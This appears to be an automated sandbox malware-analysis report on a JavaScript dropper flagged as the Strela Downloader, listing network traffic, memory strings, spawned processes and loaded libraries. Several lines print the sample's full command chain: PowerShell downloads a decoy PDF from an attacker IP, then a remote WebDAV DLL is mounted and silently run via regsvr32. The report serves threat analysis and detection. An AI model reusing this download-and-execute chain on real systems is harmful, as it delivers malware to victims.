Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1709038032.00000215B6F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1767485554.0000016A48AFF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1767485554.0000016A48AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1767485554.0000016A48AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/0B
Source: net.exe, 00000006.00000002.1767485554.0000016A48AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Hj
Source: net.exe, 00000006.00000002.1767485554.0000016A48AFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/ia
Source: net.exe, 00000006.00000002.1767485554.0000016A48AEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: svchost.exe, 00000008.00000002.2988828941.00000115F9EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1767251239.00000115FF618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1767251239.00000115FF618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1767251239.00000115FF618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1767251239.00000115FF64D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1767251239.00000115FF6C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1767251239.00000115FF6C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1767251239.00000115FF6C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7336, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1528152952987120978.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7396:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rh1lg4x0.pu2.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1528152952987120978.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1596,i,4726989255593052370,18027997004832673583,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20980184271211.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1596,i,4726989255593052370,18027997004832673583,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
